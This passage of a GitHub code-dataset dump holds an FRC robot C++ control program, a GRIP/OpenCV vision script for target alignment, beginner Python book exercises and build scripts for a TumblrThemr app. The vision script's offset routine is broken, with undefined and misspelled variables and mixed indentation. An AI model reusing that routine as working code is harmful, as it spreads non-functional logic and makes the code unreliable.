DigitalInput(1);\n\t\tthis ->gearSetPoint=0;\n\t\tleftJoyStick = new Joystick(0);\n\t\trightJoyStick = new Joystick(1);\n\n\t\tMotorR1 = new CANTalon(1);\n\t\tMotorR2 = new CANTalon(2);\n\t\tMotorR3 = new CANTalon(3);\n\t\tMotorL1 = new CANTalon(4);\n\t\tMotorL2 = new CANTalon(5);\n\t\tMotorL3 = new CANTalon(6);\n\n\t\tTopBallIntake = new CANTalon(10);\n\t\tBottomBallIntake = new CANTalon(8);\n\n\n\t\tgearMotor = new CANTalon(7);\n\t\tAutoTimer = new Timer();\n\t\t/**\n\t\t * @brief AnalogPotentiometer objecy for the potentiometer\n\t\t * @param first0 ID Number\n\t\t * @param 110 Max value to return from potentiometer->Get()\n\t\t * @param second0 offset\n\t\t */\n\n\t\tgearMech = new AnalogPotentiometer(0,360,0);\n\t\tgearMechOffset = gearMech->Get();\n\t\tgearMin = gearMechOffset - 10;\n\n\t\tgearbox1=new DoubleSolenoid(9,4,5);\n\n\t\tMotorR1->SetControlMode(CANSpeedController::kFollower);\n\t\tMotorR1->Set(2);\n\t\tMotorR3->SetControlMode(CANSpeedController::kFollower);\n\t\tMotorR3->Set(2);\n\n\t\tMotorL1->SetControlMode(CANSpeedController::kFollower);\n\t\tMotorL1->Set(5);\n\t\tMotorL3->SetControlMode(CANSpeedController::kFollower);\n\t\tMotorL3->Set(5);\n\n\t\tMotorR2->Set(0);\n\t\tMotorL2->Set(0);\n\n\n\t}\n\t//Puts the robot into High-Gear\n\t void shiftHigh()\n\t{\n\t\tgearbox1->Set(DoubleSolenoid::Value::kForward);\n\t\tWait(soloWait);\n\t\tgearbox1->Set(DoubleSolenoid::Value::kOff);\n\t}\n\t//Puts the robot into Low-Gear\n\t void shiftLow()\n\t{\n\t\tgearbox1->Set(DoubleSolenoid::Value::kReverse);\n\t\tWait(soloWait);\n\t\tgearbox1->Set(DoubleSolenoid::Value::kOff);\n\t}\n\tvoid AutonomousInit() override {\n\t\tautonMode = SmartDashboard::GetNumber(\"Current Mode\", 1);\n\t\tif(autonMode == 1) {\n\t\t\tauton1 = true;\n\t\t\tauton2=false;\n\t\t\tauton3=false;\n\t\t} else if(autonMode == 2) {\n\t\t\tauton2 = true;\n\t\t\tauton1=false;\n\t\t\tauton3=false;\n\t\t} else if(autonMode == 3){\n\t\t\tauton3 = true;\n\t\t\tauton1=false;\n\t\t\tauton2=false;\n\t\t} else {\n\n\t\t}\n\n\t\tAutoTimer->Reset();\n\t\tAutoTimer->Start();\n\t}\n\n\tvoid AutonomousPeriodic() {\n\t\t/*double currentTime = AutoTimer->Get();\n\t\tdouble deltaTime = currentTime - lastTime;\n\t\tlastTime = currentTime;\n\t\tif (currentTime < 2){\n\t\t\tMotorL2->Set(-0.1);\n\t\t\tMotorR2->Set(0.1);\n\t\t}\n\n\t\tif(auton1 && AutoTimer->Get() < 5) {\n\n\t\t\t\tMotorL2->Set(-0.2);\n\t\t\t MotorR2->Set(0.2);\n\n\n\t\t} else if (auton2 && AutoTimer->Get() < 5) {\n\t\t\t\tMotorL2->Set(0.2);\n\t\t\t MotorR2->Set(-0.2);\n\n\n\t\t} else if(auton3 && AutoTimer->Get() < 5) {\n\n\t\t\t\tMotorL2->Set(-0.2);\n\t\t\t MotorR2->Set(-0.2);\n\t\t}\n\t\telse {\n\t\t\t MotorL2->Set(0);\n\t\t\t MotorR2->Set(0);\n\t\t}\n\n*/\n\t}\n\tvoid TeleopInit() {\n\n\t}\n\n\tvoid TeleopPeriodic() {\n\t\tSmartDashboard::PutBoolean(\"invert\",isInverted);\t\t//Displays the bool isInverted on the SmartDashboard\n\t\tSmartDashboard::PutNumber(\"throttle\",throttlePre);\t// Displays the raw value for the joystick on the Smart Dashboard\n\t\tSmartDashboard::PutNumber(\"gearSetPoint\",gearSetPoint);\n\t\tSmartDashboard::PutNumber(\"potentiometerValue\",gearMech->Get());\n\t\tSmartDashboard::PutBoolean(\"HighGear\",isHighGear);\n\t\tgearSetPoint=SmartDashboard::GetNumber(\"gearSetPoint\",20);\n\t\tthrottlePre = leftJoyStick->GetY();\n\t\tsteerPre = rightJoyStick->GetX();\n\n\t\tthrottle = pow(2, throttlePre) - 1;\t//Gets value for motors based on input from joystick ((2^ValueFromJoystick)-1)\n\t\tsteer = pow(2, steerPre) - 1;\n\n\n\t\tif(rightJoyStick->GetRawButton(1)){\n\t\t\t// Ball intake\n\t\t\tTopBallIntake->Set(ballIntakeSpeed);\n\t\t\tBottomBallIntake->Set(-(ballIntakeSpeed*2));\n\t\t}else if(leftJoyStick->GetRawButton(1)){\n\t\t\t// Ball outtake\n\t\t\tTopBallIntake->Set(ballIntakeSpeed);\n\t\t\tBottomBallIntake->Set(ballIntakeSpeed);\n\t\t}else{\n\t\t\tTopBallIntake->Set(0.0);\n\t\t\tBottomBallIntake->Set(0.0);\n\t\t}\n\t\t//When button is pressed the motors are inverted via int invert and bool isInverted represents if the motors are inverted\n\t\tif(rightJoyStick -> GetRawButton(2)&invertTest) {\n\t\t\tinvert *= -1;\n\t\t\tinvertTest = false;\n\t\t\tisInverted = !isInverted;\n\t\t}\n\t\tif(rightJoyStick -> GetRawButton(2) == false){\n\t\t\tinvertTest = true;\n\t\t}\n\n\t\t//Shifts between low gear and high gear. bool isHighGear represents if it is in high gear (true) or low gear (False)\n\t\tif(leftJoyStick -> GetRawButton(2)&soloTest) {\n\t\t\t\tif(isHighGear)\n\t\t\t\t{\n\n\t\t\t\t\tshiftHigh();\n\t\t\t\t\tisHighGear=false;\n\n\t\t\t\t}\n\t\t\t\telse if(!isHighGear)\n\t\t\t\t{\n\n\t\t\t\t\tshiftLow();\n\t\t\t\t\tisHighGear=true;\n\n\t\t\t\t}\n\t\t\t\tsoloTest=false;\n\t\t\t}\n\n\t\t\tif(!leftJoyStick -> GetRawButton(2)){\n\t\t\t\tsoloTest=true;\n\t\t\t}\n\t\t\t//put to unload\n\t\t\tif(rightJoyStick -> GetRawButton(3)) {\n\t\t\t\t// Set to top\n\t\t\t\t// which is motorgear min\n\t\t\t\tgearMotor->Set(0.0);\n\t\t\t\tgearSetPoint = gearMin;\n\t\t\t}\n\t\t\t//put to upright\n\t\t\telse if(rightJoyStick -> GetRawButton(4)) {\n\t\t\t\t// Set to bottom\n\t\t\t\t// which is motor gear max\n\t\t\t\tgearMotor->Set(-0.35);\n\t\t\t\tgearSetPoint = gearMax;\n\t\t\t}\n\t\t\t//put to loading\n\t\t\telse if(rightJoyStick -> GetRawButton(5)){\n\t\t\t\t// Set to middle\n\t\t\t\t// which is motorgearMax-5\n\t\t\t\tgearSetPoint = gearMax - 5;\n\t\t\t}else{\n\t\t\t\tgearMotor->Set(-0.2);\n\t\t\t}\n\t\t/* Newish gear motor\n\t\tdouble gearMechVel = gearMech->Get();\n\t\tif (gearMechVel - gearSetPoint > EPSILON){\n\t\t\t//Move up\n\t\t\tgearMotor->Set(GEAR_UP_VELOCITY);\n\t\t}else if (gearMechVel - gearSetPoint < -EPSILON){\n\t\t\t// Move down\n\t\t\tgearMotor->Set(GEAR_DOWN_VELOCITY);\n\n\t\t}else{\n\t\t\t//Hold position\n\t\t\tgearMotor->Set(GEAR_HOLD);\n\n\t\t}*/\n\t\t//SmartDashboard::PutNumber(\"Potentiometer Thing\", gearMechVel);\n\n\t\t/* Old Potentiometer stuff\n\t\tbool needToMoveGear = (abs(gearMechVel - gearSetPoint) > EPSILON);\n\t\tneedToMoveGear =true;\n\n\t\tif (shouldStopGear){\n\t\t\tgearMotor->Set(this->GEAR_HOLD);\n\t\t}else if (needToMoveGear && gearSetPoint == gearMin){\n\t\t\tgearMotor->Set(this->GEAR_UP_VELOCITY);\n\t\t}else if (needToMoveGear && gearSetPoint == gearMax){\n\t\t\tgearMotor->Set(this->GEAR_DOWN_VELOCITY);\n\t\t}else if (needToMoveGear && gearSetPoint == gearMin+5){\n\t\t\tif(gearMechVel > gearSetPoint){\n\t\t\t\tgearMotor->Set(this->GEAR_UP_VELOCITY);\n\t\t\t}else{\n\t\t\t\tgearMotor->Set(this->GEAR_DOWN_VELOCITY);\n\t\t\t}\n\t\t}else if(!needToMoveGear){\n\t\t\tshouldStopGear = true;\n\t\t}*/\n\n\t\tSmartDashboard::PutNumber(\"Gear Motor Value\", gearMotor->Get());\n\n\n\t\t//gearMotor->Set((gearMech->Get() - gearSetPoint)/110);\n\n\t\tMotorR2->Set(throttlePre*invert - steerPre);\n\n\t\tMotorL2->Set(-throttlePre*invert - steerPre);\n\n\t\tfrc::Wait(0.005);\n\t}\n\n\tvoid TestPeriodic() {\n\t}\n\n\nprivate:\n\n};\n\nSTART_ROBOT_CLASS(Robot)\n"
},
{
"alpha_fraction": 0.5116334557533264,
"alphanum_fraction": 0.5375253558158875,
"avg_line_length": 40.4901008605957,
"blob_id": "d4d2235058df38d0be4faf2652da1a3a89d93670",
"content_id": "3ce21135e6dfd07a30e964bf3137b23a24257aa0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8381,
"license_type": "no_license",
"max_line_length": 202,
"num_lines": 202,
"path": "/img.py",
"repo_name": "Joffreys-Coffrey/CTEC-Robotics2017",
"src_encoding": "UTF-8",
"text": "import cv2\nimport numpy\nimport math\nfrom enum import Enum\nimport argparse\nimport imutils\nfrom networktables import NetworkTables\nNetworkTables.initialize(server='roborio-6445-frc.local')\nsd = NetworkTables.getTable('SmartDashboard')\nclass GripPipeline:\n \"\"\"\n An OpenCV pipeline generated by GRIP.\n \"\"\"\n \n def __init__(self):\n \"\"\"initializes all values to presets or None if need to be set\n \"\"\"\n self.source0 = cv2.VideoCapture(0)\n self.__hsv_threshold_hue = [38.09089118939224, 86.13255726266553]\n self.__hsv_threshold_saturation = [82.55395683453237, 255.0]\n self.__hsv_threshold_value = [197.21223021582733, 255.0]\n\n self.hsv_threshold_output = None\n\n self.__cv_erode_src = self.hsv_threshold_output\n self.__cv_erode_kernel = None\n self.__cv_erode_anchor = (-1, -1)\n self.__cv_erode_iterations = 1.0\n self.__cv_erode_bordertype = cv2.BORDER_CONSTANT\n self.__cv_erode_bordervalue = (-1)\n\n self.cv_erode_output = None\n\n\n self.__mask_mask = self.cv_erode_output\n\n self.mask_output = None\n\n self.__find_contours_input = self.hsv_threshold_output\n self.__find_contours_external_only = False\n\n self.find_contours_output = None\n\n self.__convex_hulls_contours = self.find_contours_output\n\n self.convex_hulls_output = None\n\n def process(self, source0):\n \"\"\"\n Runs the pipeline and sets all outputs to new values.\n \"\"\"\n # Step HSV_Threshold0:\n self.__hsv_threshold_input = source0\n (self.hsv_threshold_output) = self.__hsv_threshold(self.__hsv_threshold_input, self.__hsv_threshold_hue, self.__hsv_threshold_saturation, self.__hsv_threshold_value)\n\n # Step CV_erode0:\n self.__cv_erode_src = self.hsv_threshold_output\n (self.cv_erode_output) = self.__cv_erode(self.__cv_erode_src, self.__cv_erode_kernel, self.__cv_erode_anchor, self.__cv_erode_iterations, self.__cv_erode_bordertype, self.__cv_erode_bordervalue)\n\n # Step Mask0:\n self.__mask_input = source0\n self.__mask_mask = self.cv_erode_output\n (self.mask_output) = self.__mask(self.__mask_input, self.__mask_mask)\n\n # Step Find_Contours0:\n self.__find_contours_input = self.hsv_threshold_output\n (self.find_contours_output) = self.__find_contours(self.__find_contours_input, self.__find_contours_external_only)\n\n # Step Convex_Hulls0:\n self.__convex_hulls_contours = self.find_contours_output\n (self.convex_hulls_output) = self.__convex_hulls(self.__convex_hulls_contours)\n # run Calc-0ffset:\n __calc_offset(self.covex_hulls_output)\n\n @staticmethod\n def __hsv_threshold(input, hue, sat, val):\n \"\"\"Segment an image based on hue, saturation, and value ranges.\n Args:\n input: A BGR numpy.ndarray.\n hue: A list of two numbers the are the min and max hue.\n sat: A list of two numbers the are the min and max saturation.\n lum: A list of two numbers the are the min and max value.\n Returns:\n A black and white numpy.ndarray.\n \"\"\"\n out = cv2.cvtColor(input, cv2.COLOR_BGR2HSV)\n return cv2.inRange(out, (hue[0], sat[0], val[0]), (hue[1], sat[1], val[1]))\n\n @staticmethod\n def __cv_erode(src, kernel, anchor, iterations, border_type, border_value):\n \"\"\"Expands area of lower value in an image.\n Args:\n src: A numpy.ndarray.\n kernel: The kernel for erosion. A numpy.ndarray.\n iterations: the number of times to erode.\n border_type: Opencv enum that represents a border type.\n border_value: value to be used for a constant border.\n Returns:\n A numpy.ndarray after erosion.\n \"\"\"\n return cv2.erode(src, kernel, anchor, iterations = (int) (iterations +0.5),\n borderType = border_type, borderValue = border_value)\n\n @staticmethod\n def __mask(input, mask):\n \"\"\"Filter out an area of an image using a binary mask.\n Args:\n input: A three channel numpy.ndarray.\n mask: A black and white numpy.ndarray.\n Returns:\n A three channel numpy.ndarray.\n \"\"\"\n return cv2.bitwise_and(input, input, mask=mask)\n\n @staticmethod\n def __find_contours(input, external_only):\n \"\"\"Sets the values of pixels in a binary image to their distance to the nearest black pixel.\n Args:\n input: A numpy.ndarray.\n external_only: A boolean. If true only external contours are found.\n Return:\n A list of numpy.ndarray where each one represents a contour.\n \"\"\"\n if(external_only):\n mode = cv2.RETR_EXTERNAL\n else:\n mode = cv2.RETR_LIST\n method = cv2.CHAIN_APPROX_SIMPLE\n im2, contours, hierarchy =cv2.findContours(input, mode=mode, method=method)\n return contours\n\n @staticmethod\n def __convex_hulls(input_contours):\n \"\"\"Computes the convex hulls of contours.\n Args:\n input_contours: A list of numpy.ndarray that each represent a contour.\n Returns:\n A list of numpy.ndarray that each represent a contour.\n \"\"\"\n output = []\n for contour in input_contours:\n output.append(cv2.convexHull(contour))\n return output\n\n @staticmethod\n def __calc_offset(input):\n\tcntx = 540\n\tcnty = 360\n\tauto_value = sd.getAutoUpdateValue('robotTime', 0)\n while(True):\n try:\n input = input[0] if imutils.is_cv2() else input[1]\n for i in input:\n M = cv2.moments(i)\n cX[i] = int(M[\"m10\"] / M[\"m00\"])\n cY[i] = int(M[\"m01\"] / M[\"m00\"])\n if cntx > cX[0] and cX[1] > cntx:\n pixels_off = cntx-cX[0]\n if pixels_off <10:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(2,turn_Deg)\n if pixels_off >10 and pixels_off <31:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(4,turn_Deg)\n if pixels_off >31 and pixels_off < 100:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(12,turn_Deg)\n if pixels_off > 100:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(20,turn_Deg)\n\t\t if cntx == cX[0] and cX[1] == cntx:\n sd.put(\"lined_up\",turn_Dir)\n sd.put(\"Move forward\",turn_Dir)\n if cntx > cX[0] and cx[1] < cntx:\n pixels_offcX = cntx-cx[0]\n pixels_offcX1 = cntx-cx[1]\n if pixels_offcX <10 and pixels_offcX1 <10:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(4,turm_Deg)\n if pixels_offcX >10 and pixels_offcX1 >10 and pixels_offcX < 100 and pixels_OffcX1 < 100:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(6,turn_Deg)\n if pixel_offcX > 100 and pixel_offcX1 > 100:\n sd.putValue(\"Turn Right\",turn_Dir)\n sd.putValue(20,turn_Deg)\n if cntx < cX[0] and cX[1] < cntx:\n pixels_offcX = cntx-cx[0]\n pixels_offcX1 = cntx-cx[1]\n if pixels_offcX1 < 10 :\n sd.putValue(\"Turn Left\")\n sd.putValue(2,turn_Deg)\n if pixels_offcX1 > 10 and pixels_offcX1 < 31:\n sd.putValue(\"Turn Left\",turn_Dir)\n sd.putValue(4,turn_Deg)\n if pixels_offcX1 > 100:\n sd.putValue(\"Turn Left\",turn_Dir)\n sd.putValue(20,turn_Deg)\n if auto_value > 15:\n break\n # More statements?\n finally:\n print(\"times up\")\n"
}
] | 2 |
MarlonIC/introducing-python-2nd-edition | https://github.com/MarlonIC/introducing-python-2nd-edition | d9c658a88d091bb322f6c2efe5c884dc39883baa | 20977c5f40ca47fabbdfa8618ca656b883829e29 | 6d7538b2d6b4be10d886d21f7bfc930530cd254b | refs/heads/master | 2023-01-31T20:47:48.141823 | 2020-12-15T05:55:43 | 2020-12-15T05:55:43 | 307,488,604 | 2 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6507936716079712,
"alphanum_fraction": 0.6507936716079712,
"avg_line_length": 14.75,
"blob_id": "6c616178a148a2993986ca18a01dc555fed2e38b",
"content_id": "1ad555af7eabcc1b37ceceba4421df8dae4e654d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 63,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 4,
"path": "/chapter11/example01/fast3.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "import fast as f\n\nplace = f.pick()\nprint(\"Let's go to\", place)\n"
},
{
"alpha_fraction": 0.6696751117706299,
"alphanum_fraction": 0.6841155290603638,
"avg_line_length": 33.625,
"blob_id": "bb19dbf2bb6e7710e46b5bd7c937517be1296a48",
"content_id": "8d2d5092a214c7d73e8a85f25666cb3d66281779",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 554,
"license_type": "no_license",
"max_line_length": 78,
"num_lines": 16,
"path": "/chapter01/05_archive2.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "import webbrowser\nimport requests\n\nprint('Let\\'s find an old website.')\nsite = input('Type a website URL, like lolcats.com: ')\nera = input('Type a year, month, and day, like 20151022: ')\nurl = \"http://archive.org/wayback/available?url=%s×tamp=%s\" % (site, era)\nresponse = requests.get(url)\ndata = response.json()\ntry:\n old_site = data['archived_snapshots']['closest']['url']\n print('Found this copy: ', old_site)\n print('It should apper in your browser now.')\n webbrowser.open(old_site)\nexcept:\n print('Sorry, no luck finding', site)\n"
},
{
"alpha_fraction": 0.6721311211585999,
"alphanum_fraction": 0.6721311211585999,
"avg_line_length": 14.25,
"blob_id": "731d0873394f1ad56a4cd615795adcb731c48c39",
"content_id": "65cfea03e9d33558184ea88dc68368b2f223c02f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 61,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 4,
"path": "/chapter11/example01/launch.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "import fast\n\nplace = fast.pick()\nprint(\"Let's go to\", place)\n"
},
{
"alpha_fraction": 0.5081967115402222,
"alphanum_fraction": 0.5901639461517334,
"avg_line_length": 29.5,
"blob_id": "bd7cb52cb3612f759eea5e5cbf5b299ede19485c",
"content_id": "954b428e33eb495278e699b01ddcf903182df7fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 61,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 2,
"path": "/chapter01/01_countdown.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "for countdown in 5, 4, 3, 2, 1, 'hey!':\n print(countdown)\n"
},
{
"alpha_fraction": 0.7023809552192688,
"alphanum_fraction": 0.7023809552192688,
"avg_line_length": 20,
"blob_id": "4bf162c292bac859fe02008f3752018bd88ef75e",
"content_id": "bb0a885429431f95ff44d9af56f67311030d5bb4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 84,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 4,
"path": "/chapter11/example01/fast5.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "from fast import pick as who_cares\n\nplace = who_cares()\nprint(\"Let's go to\", place)\n"
},
{
"alpha_fraction": 0.6764705777168274,
"alphanum_fraction": 0.6764705777168274,
"avg_line_length": 12.600000381469727,
"blob_id": "4416068a2cdd6e3b7c6e404624d8f0dcc89a9acf",
"content_id": "45ab61f3a37416af212fec54c8b9a618a631fff1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 68,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 5,
"path": "/chapter11/example01/fast4.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "from fast import pick\n\nplace = pick()\n\nprint(\"Let's got to\", place)\n"
},
{
"alpha_fraction": 0.5333333611488342,
"alphanum_fraction": 0.5400000214576721,
"avg_line_length": 15.666666984558105,
"blob_id": "b29c776b18611a4e999fb276ad2aa71b5edbc6c4",
"content_id": "91d4230d4146f2bd2e674f3f47b0ff78f3ac5114",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 150,
"license_type": "no_license",
"max_line_length": 27,
"num_lines": 9,
"path": "/chapter01/02_spells.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "spells = [\n 'Riddikulus!',\n 'Windgardium Leviosa!',\n 'Avada Kadavra!',\n 'Expecto Patronum!',\n 'Nox!',\n 'Lumos!',\n]\nprint(spells[3])\n"
},
{
"alpha_fraction": 0.6964285969734192,
"alphanum_fraction": 0.6964285969734192,
"avg_line_length": 27,
"blob_id": "db7d1e00e82a06928a2ffc7c40c4e676d3a48740",
"content_id": "cab765728a38fe14ea2a657df2c05d1d8707c86a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 112,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 4,
"path": "/chapter11/example02/questions.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "from choices import fast, advice\n\nprint(\"Let's go to\", fast.pick())\nprint(\"Should we take out?\", advice.give())\n"
},
{
"alpha_fraction": 0.692307710647583,
"alphanum_fraction": 0.692307710647583,
"avg_line_length": 12,
"blob_id": "5347b0f54486a2b2a10c3661215339fdebc33d5e",
"content_id": "ece23c930e6c08e92e91fc8d79b75b613894e485",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 52,
"license_type": "no_license",
"max_line_length": 22,
"num_lines": 4,
"path": "/chapter11/example02/path_library_python.py",
"repo_name": "MarlonIC/introducing-python-2nd-edition",
"src_encoding": "UTF-8",
"text": "import sys\n\nfor place in sys.path:\n print(place)\n"
}
] | 9 |
landsurveyorsunited/tumblrthemr | https://github.com/landsurveyorsunited/tumblrthemr | 012aa61a9d17d2684d43997b83e2bdd71957e60e | d9411adbf4fa625c6fc2702a8332c9e2d76b23fc | 825d32d2a4239c113964df6c2b898167405c464d | refs/heads/master | 2021-01-17T05:44:59.457155 | 2013-07-02T08:16:00 | 2013-07-02T08:16:00 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6265560388565063,
"alphanum_fraction": 0.6514523029327393,
"avg_line_length": 25.77777862548828,
"blob_id": "16e74bacb033b9db38e414938ad5e4e192d6c97b",
"content_id": "63cdef2c119b2289fbd22b7d3ff5d64db408a1c0",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 482,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 18,
"path": "/build.sh",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "if [ -d dist ]; then\n\trm -rf dist/\nfi\n\nif [ -d build ]; then\n\trm -rf build/\nfi\n\n# get a build number using number of total commits\n# not the best way, but this will have to do\nB_NUMBER=`git log | grep ^commit | wc -l | perl -ne '$_=~s/[^0-9]//g;print $_;'`\n# put it in a conf file so we can show it that way in the ui dialog\necho \"build_version = 'build $B_NUMBER'\" > src/conf.py\n\n arch -i386 python2.7 setup.py py2app $1 $2 $3\n\n cd dist/\n zip -r -9 TumblrThemr.zip TumblrThemr.app\n"
},
{
"alpha_fraction": 0.6394850015640259,
"alphanum_fraction": 0.646638035774231,
"avg_line_length": 19.558822631835938,
"blob_id": "ac3c1e02894ad4221febb3c49572c997a8fac5a2",
"content_id": "d37d800e55335fb0478956babdac042d03832ef7",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 699,
"license_type": "permissive",
"max_line_length": 60,
"num_lines": 34,
"path": "/setup.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "\"\"\"\nThis is a setup.py script generated by py2applet\n\nUsage:\n python setup.py py2app\n\"\"\"\n\n# now import setuptools so it uses the monkeypatched methods\n# Lets get things rolling\nfrom setuptools import setup\nfrom glob import glob\n\nAPP_NAME = 'TumblrThemr'\nAPP = ['src/main.py']\nDATA_FILES = [ \n\t('dialog',['src/dialog/bg.bmp']),\n\t('data',glob(\"src/data/*\")),\n\t('templates',glob('src/templates/*'))\n]\nOPTIONS = {\n\t'argv_emulation': False,\n\t'includes':[ 'bottle', 'jinja2' ],\n\t'packages':[ 'dialog' ],\n\t'iconfile':'resources/Icon.icns'\n}\n\nsetup(\n app=APP,\n name = APP_NAME,\n data_files=DATA_FILES,\n options={'py2app': OPTIONS},\n setup_requires=['py2app'],\n\tpackage_dir = {'':'src/'}\n)\n"
},
{
"alpha_fraction": 0.6787176132202148,
"alphanum_fraction": 0.6889495253562927,
"avg_line_length": 24.692981719970703,
"blob_id": "f244d68ad37834d804b6796c5ddffd6b282e919d",
"content_id": "aec9ed032ad0dc2c2abfe429fa838d42274f50a0",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2932,
"license_type": "permissive",
"max_line_length": 110,
"num_lines": 114,
"path": "/src/dialog/TTIntroDialog.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "from BaseTemplatrDialog import BaseDialog\nimport os, sys\n\nclass TTIntroDialog(BaseDialog):\n\tdef __init__(self, on_start=None, on_end=None, default_path=None):\n\t\tself.server_root_path = default_path\n\n\t\tself.on_start = on_start\n\t\tself.on_end = on_end\n\n\t\tsuper(TTIntroDialog,self).__init__(None)\n\t\tself._ui_reset()\n\n\tdef select_path(self, event):\n\t\tprint \"Got something\"\n\t\tprint event\t\n\t\tprint event.Path\n\n\t\tif not self.server_started:\n\t\t\tself.server_root_path = event.Path\n\n\tdef start_server(self, event):\n\t\tprint \"Trying to start \" + self.server_port.GetValue()\n\t\tprint \"Trying to root at\", self.server_root_path\n\n\t\tif self.server_started:\n\t\t\tself._begin_server_stop()\n\t\telse:\n\t\t\ttry:\n\t\t\t\tif self.server_root_path and len(self.server_root_path) > 0 and os.path.exists(self.server_root_path):\n\t\t\t\t\tif not self._begin_server_start():\n\t\t\t\t\t\traise\n\t\t\t\telse:\n\t\t\t\t\traise\n\t\t\texcept Exception, e:\n\t\t\t\tprint e\n\t\t\t\tself._end_server_start(is_success=False,message='Please select your themes directory')\n\n\n\tdef exit_server(self,event):\n\t\t#self.__do_exit();\n\t\tself.__do_end()\n\t\tsys.exit(-1)\n\n\tdef set_build_info(self,bversion):\n\t\tself.build_info.SetForegroundColour((180,180,180))\n\t\tself.build_info.SetLabelText(bversion)\n\n\n\tdef _begin_server_start(self):\n\t\tself.status_text.SetForegroundColour((0,255,0))\n\t\tself.status_text.SetLabelText(\"Starting Server...\")\n\t\tself.themes_directory.Disable()\n\t\tself.server_ctrl_button.Disable()\n\n\t\tif self.__do_start():\n\t\t\tself._end_server_start(is_success=True)\n\t\t\treturn True\n\n\t\treturn False\n\n\tdef _end_server_start(self, is_success=True, server_location='localhost:8080',message='Server Start Failed'):\n\t\tif is_success:\n\t\t\tself.status_text.SetForegroundColour((0,255,0))\n\t\t\tself.status_text.SetLabelText(\"Server running at %s\" % server_location)\n\t\t\tself.server_started = True\n\t\t\tself.server_ctrl_button.SetLabelText(\"Stop Server\")\n\n\t\t\t# Server started - can't modify path or port\n\t\t\tself.server_port.Disable()\n\t\t\tself.themes_directory.Disable()\n\t\t\tself.server_ctrl_button.Enable()\n\n\t\telse:\n\t\t\tself.__do_end()\n\t\t\tself._ui_reset()\n\t\t\tself.status_text.SetForegroundColour((255,0,0))\n\t\t\tself.status_text.SetLabelText(message)\n\n\n\tdef _begin_server_stop(self):\n\t\tself._ui_reset()\n\t\tself.__do_end()\n\n\tdef _ui_reset(self):\n\t\tself.server_started = False\n\t\tself.status_text.SetLabelText(\"\")\n\t\tself.server_ctrl_button.SetLabelText(\"Start Server\")\n\n\t\tself.server_port.Enable()\n\t\tself.themes_directory.Enable()\n\t\tself.server_ctrl_button.Enable()\n\n\tdef __do_start(self):\n\t\tif self.on_start and hasattr( self.on_start, '__call__' ):\n\t\t\tparams = {\n\t\t\t\t'port' : self.server_port.GetValue(),\n\t\t\t\t'path' : self.server_root_path \n\t\t\t}\n\t\t\treturn self.on_start(**params)\n\n\t\treturn False\n\n\tdef __do_end(self):\n\t\tif self.on_end and hasattr( self.on_end, '__call__'):\n\t\t\treturn self.on_end()\n\n\t\treturn False\n\n\tdef __do_exit(self):\n\t\tif self.on_exit and hasattr( self.on_exit, '__call__'):\n\t\t\treturn self.on_exit()\n\n\t\treturn False\t\t\n\n"
},
{
"alpha_fraction": 0.6523297429084778,
"alphanum_fraction": 0.6594982147216797,
"avg_line_length": 38.85714340209961,
"blob_id": "a7d650a153cc8b2217f5a68aae08a6f02f6b759e",
"content_id": "2cd4ac4b45030375c83a8b138e5a85e8af170248",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 279,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 7,
"path": "/run.sh",
"repo_name": "landsurveyorsunited/tumblrthemr",
